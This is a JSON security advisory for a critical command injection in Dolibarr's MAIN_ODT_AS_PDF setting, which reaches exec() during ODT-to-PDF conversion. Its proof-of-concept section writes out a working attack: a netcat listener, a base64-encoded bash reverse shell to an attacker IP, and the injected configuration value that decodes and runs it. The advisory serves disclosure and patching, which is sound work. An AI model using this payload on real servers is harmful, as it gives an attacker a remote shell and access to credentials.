{
  "affected": [
    {
      "package": {
        "ecosystem": "Packagist",
        "name": "dolibarr/dolibarr"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "last_affected": "22.0.4"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-23500"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-78"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-04-17T21:24:48Z",
    "nvd_published_at": null,
    "severity": "CRITICAL"
  },
  "details": "### Summary\nAn authenticated administrator can execute arbitrary operating system commands by injecting a malicious payload into the `MAIN_ODT_AS_PDF` configuration constant. This vulnerability exists because the application fails to properly validate or escape the command path before passing it to the `exec()` function in the ODT to PDF conversion process.\n\n### Details\nThe vulnerability is located in `htdocs/includes/odtphp/odf.php`.\nWhen the system tries to convert an ODT document to PDF (e.g., in Proposals, Invoices), it constructs a shell command using the `MAIN_ODT_AS_PDF` global setting.\n\nCode snippet (`htdocs/includes/odtphp/odf.php`, approx line 930):\n```php\n$command = getDolGlobalString(\u0027MAIN_ODT_AS_PDF\u0027).\u0027 \u0027.escapeshellcmd($name);\n// ...\nexec($command, $output_arr, $retval);\n```\n\nWhile the filename `$name` is sanitized using `escapeshellcmd()`, the configuration variable `MAIN_ODT_AS_PDF` is retrieved directly from the database and concatenated at the beginning of the string. An attacker with administrative privileges can set this variable to include a command separator (like `;`) followed by arbitrary commands.\n\n### PoC\n**Prerequisites:**\n1. Login as an Administrator.\n2. Ensure the \"Commercial Proposals\" module is enabled and \"ODT templates\" are activated in its setup.\n\n**Steps to reproduce (Reverse Shell):**\n\n1.  Start a netcat listener on the attacker\u0027s machine (IP: `172.26.0.1`, Port: `4445`):\n   ```bash\n   nc -lvnp 4445\n   ```\n\n2. Prepare the payload. To avoid issues with special characters (like `\u0026` or `\u003e`) being escaped by the web application or shell, encode the reverse shell command in Base64:\n   ```bash\n   # Command: bash -c \u0027bash -i \u003e\u0026 /dev/tcp/172.26.0.1/4445 0\u003e\u00261\u0027\n   echo \"bash -c \u0027bash -i \u003e\u0026 /dev/tcp/172.26.0.1/4445 0\u003e\u00261\u0027\" | base64\n   # Output: YmFzaCAtYyAnYmFzaCAtaSA+JiAvZGV2L3RjcC8xNzIuMjYuMC4xLzQ0NDUgMD4mMScK\n   ```\n\n3. Navigate to **Home -\u003e Setup -\u003e Other Setup**.\n\n4. Add or modify the constant `MAIN_ODT_AS_PDF` with the following injection payload:\n   ```bash\n   jodconverter; echo YmFzaCAtYyAnYmFzaCAtaSA+JiAvZGV2L3RjcC8xNzIuMjYuMC4xLzQ0NDUgMD4mMScK | base64 -d | bash\n   ```\n   *(Explanation: `jodconverter` satisfies the initial check, `;` acts as a command separator, and the pipeline decodes and executes the Base64 payload).*\n\u003cimg width=\"1898\" height=\"696\" alt=\"image\" src=\"https://github.com/user-attachments/assets/12e4aa61-eb9d-4342-bd03-9a1e824b8316\" /\u003e\n\n5. Navigate to **Commerce -\u003e New proposal**, create a draft, select an ODT template (e.g., `generic_proposal_odt`), and click **Generate**.\n\u003cimg width=\"1907\" height=\"668\" alt=\"image\" src=\"https://github.com/user-attachments/assets/d790847e-50c1-47eb-994b-b2596b949242\" /\u003e\n\u003cimg width=\"1858\" height=\"346\" alt=\"image\" src=\"https://github.com/user-attachments/assets/afbeb170-d004-49d6-a395-1b4572fbf2e7\" /\u003e\n\u003cimg width=\"848\" height=\"183\" alt=\"image\" src=\"https://github.com/user-attachments/assets/93fbe6c9-96a8-4d0f-ad0e-4aea69f0fec1\" /\u003e\n\n6. Check the netcat listener. A connection will be established, granting a shell on the server:\n \n\u003cimg width=\"616\" height=\"193\" alt=\"image\" src=\"https://github.com/user-attachments/assets/e90817da-9bb2-4fe1-8377-be10d8640e37\" /\u003e\n\n\n### Impact\n**Remote Code Execution (RCE).**\nAn attacker who gains access to an administrator account (or a malicious administrator) can execute arbitrary commands on the underlying server with the privileges of the web server user (typically `www-data`). This allows for:\n- Reading sensitive configuration files (database credentials).\n- Modifying application code.\n- Full system compromise depending on server configuration (e.g., docker escape, pivoting).\n\n---\n\n### Credits\nReported by \u0141ukasz Rybak",
  "id": "GHSA-w5j3-8fcr-h87w",
  "modified": "2026-04-17T21:24:48Z",
  "published": "2026-04-17T21:24:48Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/Dolibarr/dolibarr/security/advisories/GHSA-w5j3-8fcr-h87w"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/Dolibarr/dolibarr"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H",
      "type": "CVSS_V4"
    }
  ],
  "summary": "Dolibarr: OS Command Injection (RCE) via MAIN_ODT_AS_PDF configuration"
}